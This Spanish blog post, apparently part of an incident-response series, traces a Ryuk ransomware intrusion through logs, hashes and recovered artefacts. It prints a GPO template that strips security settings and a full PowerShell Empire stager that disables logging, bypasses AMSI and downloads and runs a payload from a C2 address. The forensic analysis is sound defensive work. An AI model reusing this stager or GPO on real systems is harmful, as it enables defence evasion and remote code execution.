Ransomware ate my network (II)

En el artículo anterior vimos cómo el MINAF había evitado por los pelos un ataque de ransomware, pero nos quedaban muchísimas preguntas por resolver.  En primer lugar, averiguar la identidad del grupo de ransomware que había afectado al MINAF. 

Para ello Ángela convierte la MFT del DC con mftdump.exe y realiza una búsqueda rápida de los ficheros v2.exe y v2c.exe, que parecían a priori los encargados de desplegar el ransomware. Da en el clavo porque encuentra los ficheros en la carpeta c:tempscheduler:

Rápidamente calcula sus hashes:

5994df288813a7d9588299c301a8de13479e3ffb630c49308335f20515ffdf57  v2c.exe

b2a304e508415d96f417ed50d26e0b987b7cbd9a77bb345ea48e803b5a7afb49  v2.exe

ffa8722a09829acd7ef8743688947f6ccb58d2ef  v2c.exe

7320b34c07206fcaf1319d6ce9bef2b29648a151  v2.exe

eddc0e293b0f0ee90bab106f073a41c9  v2c.exe

91438699bed008be9405995f0a158254  v2.exe

Lo siguiente es comprobar si son conocidos. VirusTotal le da una respuesta rápida:

!Los jo***** de Ryuk nos la han intentado colar! Ryuk es uno de los grupos HOR (Human-Operated Ransomware) más activos de la actualidad, siendo junto con Maze y Sodinokibi responsables de gran parte de los ataques más recientes a grandes empresas y organizaciones.

El que sea Ryuk nos da una ventaja: muchas de sus TTP (Tactics, Techniques & Procedures) son conocidas, por lo que nos debería de ser más fácil el detectarlas y atajarlas. Por de pronto, Ángela continua revisando la carpeta C:temp, y encuentra otra GPO con lo que parece un script de Powershell digamos que … descriptivo:

Al examinar el script, queda claro que lo que hace es recopilar información de la estructura del domino y desplegar la GPO “Cleaner Task”, que ya habíamos encontrado anteriormente.

La MFT nos indica que los ficheros se han creado a las 14:55h (recordemos que la MFT trabaja en UTC, y que el 9 de noviembre ya no estamos en horario de verano, por lo que España está en UTC+1, de ahí ese desfase de una hora).

La GPO se programa a las 14:57h, poco después de que se hayan creado las carpetas en C:temp. Si revisamos el contenido de la GPO, su función queda patente: eliminar las medidas de seguridad de todos los equipos del MINAF.

Por ejemplo, la GPO induce estos cambios en el registro en su fichero GptTmpl.inf:

[Unicode]

Unicode=yes

[System Access]

ClearTextPassword = 1

[Registry Values]

MACHINESoftwareMicrosoftWindows NTCurrentVersionWinlogonCachedLogonsCount=1,"50"

MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystemScForceOption=4,0

MACHINESystemCurrentControlSetControlLsaDisableDomainCreds=4,0

MACHINESystemCurrentControlSetControlLsaLmCompatibilityLevel=4,1

MACHINESystemCurrentControlSetControlLsaNoLMHash=4,0

MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystemConsentPromptBehaviorAdmin=4,0

MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystemEnableInstallerDetection=4,0

MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystemEnableLUA=4,0

MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesSystemFilterAdministratorToken=4,0

MACHINESoftwarePoliciesMicrosoftWindows NTDCOMMachineAccessRestriction=1,"O:BAG:BAD:(A;;CCDCLC;;;WD)(A;;CCDCLC;;;S-1-15-2-1)(A;;CCDCLC;;;S-1-5-32-559)(A;;CCDCLC;;;S-1-5-32-562)(A;;CCDCLC;;;S-1-5-7)"

MACHINESoftwarePoliciesMicrosoftWindows NTDCOMMachineLaunchRestriction=1,"O:BAG:BAD:(A;;CCDCLCSWRP;;;WD)(A;;CCDCLCSWRP;;;S-1-15-2-1)(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;S-1-5-32-559)(A;;CCDCLCSWRP;;;S-1-5-32-562)"

MACHINESystemCurrentControlSetControlLsaForceGuest=4,0

[Version]

signature="$CHICAGO$"

Revision=1

Y si abrimos el registry.pol con Registry.pol Viewer, queda patente su objetivo:

Dejamos ejecutar todos los Powershell, no pedimos confirmación para la elevación de privilegios, damos todos los permisos a WinRM… Ángela llama a esta GPO “apisonadora”, porque realmente ha dejado la seguridad de los equipos del MINAF hecha unos zorros. Y lo peor de todo es que, al ejecutarse a las 14:57h se ha podido desplegar en buena parte de los equipos.

El borrar una GPO no hace que se reviertan los cambios, así que lo único que se puede hacer ahora es eliminarla para evitar su propagación y estudiarla con cuidado para crear una GPO que invierta el daño causado por la “apisonadora”.

Ya sabemos lo que han hecho los atacantes en el DC, pero a Ángela le interesa ahora saber cómo han entrado. Ya que la vía de entrada más habitual es vía RDP (Escritorio Remoto), revisa los logs de eventos de RDP (Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational), encontrando rápidamente el culpable:

Los atacantes han iniciado sesión en el equipo con la cuenta dom.adm (que como su nombre indica posee privilegios de administrador de dominio), desde la IP 10.11.2.14. Una búsqueda rápida en el inventario asocia ese equipo a maria.feliz, personal administrativo de la FFP ahora integrado en el MINAF. El que sea uno de los otros dos equipos afectados por la desactivación del antivirus hace sonreír a Ángela: le gusta que las piezas del puzzle vayan encajando solas.

Una revisión de los logs de eventos le permite encontrar varias piezas de información: en primer lugar, el log de Windows-Windows-GroupPolicy%4Operational le permite determinar que la segunda GPO estaba disponible a las 16:08h:

Es curioso que la GPO estuviera lista a las 16:08h, pero que los atacantes planearan desplegar el ransomware a las 18:15h (además, revisando la GPO se observa que la tarea programada se iba a lanzar aunque se pasara la fecha). Este tipo de atacantes suele querer dar el golpe de gracia lo antes posible, y aunque Ángela no se queja (de hecho, este error junto con su rapidísima reacción han salvado al MINAF) se queda con la mosca detrás de la oreja.

Buscando en los logs de Sistema, encuentra otra anomalía:

Todos los puestos de usuario y servidores están configurados para autenticarse mediante Kerberos, quedando NTLM reservado únicamente para las impresoras y otros dispositivos de red que no saben hablar Kerberos. Ángela no tiene explicación ahora mismo para ese evento, pero lo apunta metódicamente para ver si a lo largo del análisis es capaz de darle explicación.

El siguiente indicio esta relacionado con lo que levantó la liebre en el incidente: el antivirus. En nuestro caso, Windows Defender detectó y eliminó una amenaza a las 14:52h:

Al parecer Windows Defender (sobre todo gracias al AMSI – AntiMalware Scan Interface) está siendo un quebradero de cabeza para los atacantes, de ahí que lo desactivaran.

Sin embargo, el fichero launcher.bat le recuerda a Ángela a un stager de Empire (una suite de post-explotación basada en Powershell), que está dentro de las TTP de Empire. Y como en el MINAF se han hecho los deberes, el DC tiene el script logging activado, por lo que podemos ir a los logs de Microsoft-Windows-Powershell%4Operational y confirmar nuestras sospechas:

Si recuperamos el fichero del disco duro, encontramos una cadena en Base64, que podemos adecentar con CyberChef y las recetas “From Base64” y “Generic Code Beautify”:

If ($PSVERsiONTABLePSVERsiOnMaJoR  - ge 3)  {

    $b7f4 = [ReF]AssEmbLYGETTyPe('SystemManagementAutomationUtils')"GEtFie`Ld"('cachedGroupPolicySettings', 'N' + 'onPublic,Static');

    If ($b7F4)  {

        $b399 = $B7F4GeTVAlue($nuLl);

        If ($b399['ScriptB' + 'lockLogging'])  {

            $B399['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;

            $B399['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0

        }

        $VAl = [COLlectIonsGeneRICDicTIonaRy[STRInG, SYstEmObJecT]]::New();

        $ValAdD('EnableScriptB' + 'lockLogging', 0);

        $VALAdd('EnableScriptBlockInvocationLogging', 0);

        $b399['HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptB' + 'lockLogging'] = $vaL

    } ELSE {

        [ScrIptBLoCk]"GetFiE`ld"('signatures', 'N' + 'onPublic,Static')SeTValue($NuLl, (NEW - ObJECt COLlecTIonsGenEriCHaShSeT[StrING]))

    }



    $REf = [REf]ASSeMblYGEtTYPe('SystemManagementAutomationAmsi' + 'Utils');

    $REfGetFielD('amsiInitF' + 'ailed', 'NonPublic,Static')SETVAlUE($nuLL, $TRue);

};

[SyStEMNetSERvICEPOINTMaNAgER]::EXpECT100CoNTinue = 0;

$EbDd = New - OBjeCt SYStemNetWEbClieNt;

$u = 'Mozilla/50 (Windows NT 61; WOW64; Trident/70; rv:110) like Gecko';

$ser = $([TExtENCODiNG]::UnIcOdeGeTSTRInG([CoNvErT]::FroMBASE64StrInG('aAB0AHQAcAA6AC8ALwAxADAAMQAuADEAMwAyAC4AMQAyADIALgAyADEANgA6ADQANAAzADMA')));

$t = '/admin/getphp';

$ebDDHEaderSAdd('User-Agent', $u);

$EbdDPRoxY = [SyStEMNeTWEbRequESt]::DefaultWEbPROXY;

$EbDDPRoXYCReDeNtIaLs = [SYstemNetCrEdentIaLCACHe]::DEfAULtNetWoRKCREdeNTiaLS;

$Script:Proxy = $ebddProxy;

$K = [SYsTEMTExtEncodIng]::ASCIIGetBYtEs('{0:w?Pu1>%x_IhL,}EgSZV54j(Bpe+m');

$R = {

    $D, $K = $ARGS;

    $S = 0255;

    0255|% {

        $J = ($J + $S[$_] + $K[$_%$KCounT])%256;

        $S[$_], $S[$J] = $S[$J], $S[$_]

    };

    $D|% {

        $I = ($I + 1)%256;

        $H = ($H + $S[$I])%256;

        $S[$I], $S[$H] = $S[$H], $S[$I];

        $_ - bXoR$S[($S[$I] + $S[$H])%256]

    }

};

$ebdDHeaDErsADd("Cookie", "DqtXbjDIIPwMwv=LztXCXESYg+zv2Xe3e32HWzi6hE=");

$DaTA = $EbDdDOwNLOadDAtA($sEr + $t);

$iV = $Data[03];

$dATa = $dATa[4$dATAlEnGth];

- JoIN[ChAR[]](& $R $daTA ($IV + $K))|IEX

Si subimos el fichero a VirusTotal no encontramos ninguna coincidencia, pero si localizamos alguna cadena que no parezca aleatoria como: “[ScrIptBLoCk]»GetFiE`ld»(‘signatures’, ‘N’ + ‘onPublic,Static’)SeTValue($NuLl, (NEW – ObJECt COLlecTIonsGenEriCHaShSeT[StrING]))” y la buscamos en Google confirmamos que se trata de un stager de Empire (un stager es un script mínimo cuyo objetivo es lanzarse en el equipo, contactar con el C2 (comando y control) y desplegar el agente principal de Empire).

Ángela encuentra otra cadena interesante en Base64:

FroMBASE64StrInG('aAB0AHQAcAA6AC8ALwAxADAAMQAuADEAMwAyAC4AMQAyADIALgAyADEANgA6ADQANAAzADMA')

Si la decodifica con Cyberchef obtiene su merecida recompensa:

El stager de Empire está configurado para contactar con la IP 101.143.122.216:4433, en lo que a priori suponemos que es su C2.  Este dato es fundamental ya que supone el primer IOC (Indicator Of Compromise) sólido que nos va a permitir detectar si tenemos más equipos del MINAF comprometidos (la existencia del ransomware nos permite determinar si están afectados, pero ahora estamos investigando las acciones reales de los atacantes).

Ángela ya tiene más o menos claras las acciones de los atacantes en el DC: se han conectado desde el equipo 10.11.2.14 con la cuenta del administrador de dominio, han intentado lanzar un stager de Empire (cazado por el antivirus), han desactivado el antivirus, copiado las GPO y desplegado en orden (primero “All in One” para dejar a los equipos sin seguridad, y luego “Scheduler” para desplegar el ransomware).

Una búsqueda rápida en los logs del proxy devuelve otro contacto con la IP 101.143.122.216: la IP 10.11.2.14. Está claro que estamos tirando del hilo en la dirección correcta, y que ese equipo es nuestro siguiente objetivo. El análisis y las evidencias del ataque, en el próximo artículo…

La entrada Ransomware ate my network (II) aparece primero en Security Art Work.